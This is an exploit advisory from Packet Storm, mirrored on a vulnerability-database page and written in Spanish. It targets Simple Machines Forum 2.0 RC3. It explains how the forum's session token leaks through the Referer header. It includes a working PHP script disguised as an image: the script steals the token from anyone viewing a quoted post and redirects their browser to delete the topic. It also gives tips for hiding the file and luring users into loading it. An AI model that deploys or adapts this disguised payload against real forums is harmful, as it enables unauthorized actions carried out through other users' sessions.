Lucene search
K

Simple Machines Forum 2.0 RC3 Cross Site Request Forgery

🗓️ 12 Jun 2010 00:00:00Reported by Xianur0Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Simple Machines Forum 2.0 RC3 XSRF exploit for SESC thef

Code
`  
  
# Exploit Title: Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF)  
# Date: 09-06-2010  
# Author: Xianur0  
# Software Link: http://download.simplemachines.org/  
# Version: <=2.0 RC3  
# Tested on: 1.1.11 & 2.0 RC3  
  
  
Vale, este "bug" es simple, y a decir verdad me parese bastante estupido,  
pero bueno... xD...  
  
El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar  
los XSRF's, el problema se encuentra presisamente en eso, el mecanismo es  
bueno, pero la implementacion no tanto...  
  
el sesc se genera unico por cada session que inicia un usuario, de modo que  
ese sesc se seguira usando para todo lo que haga el usuario mientras este  
logeado, luego ese sesc se agrega en algunas secciones en *LA URL!*  
  
Esto permite a un atacante mediante muy poca ingenieria social obtener el  
sesc de un usuario, por ejemplo, diseñe un PoC, que simula ser una imagen,  
la podemos insertar en un post real, y cuando otro usuario cite un  
comentario del tema, y si esta activado el Topic Summary, se cargan las  
imagenes publicadas en el post dentro de esa seccion (Topic Summary), de  
modo que al cargar las imagenes se agrega un Referer (el cual, entre otras  
cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:  
  
<?php  
// By Xianur0  
$imagen = "imagen real.jpg";  
error_reporting(0);  
function borrar($path,$topic,$sesc) {  
if(!preg_match("/index.php$/",$path)) $path =  
preg_replace("/\/([^\/]+)$/","/",$path);  
  
header("Location:  
".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);  
}  
  
function mostrarimagen($imagen) {  
header("Content-Type: image/jpeg");  
print file_get_contents($imagen);  
  
}  
  
if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])  
&& preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) &&  
preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) &&  
preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {  
  
$sesc = $matches[1];  
$topic = $matchess[1];  
$path = $matchesss[1];  
borrar($path,$topic,$sesc);  
exit;  
}  
mostrarimagen($imagen);  
?>  
  
  
  
ahora mediante un poco de .htaccess esta imagen quedara completamente  
oculta, solo queda insertarla en un post y esperar o convencer a algun  
usuario a citar algun post dentro del mensaje donde pusimos la image.  
  
Si dicho usuario tiene permisos de borrar el post, el post sera borrado.  
  
Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante  
mas malignas que borrar un post.  
  
  
De momento no hay parche, luego programo algo... mientras tanto, no citen  
mensajes xD y/o desactiven el Topic Summary  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation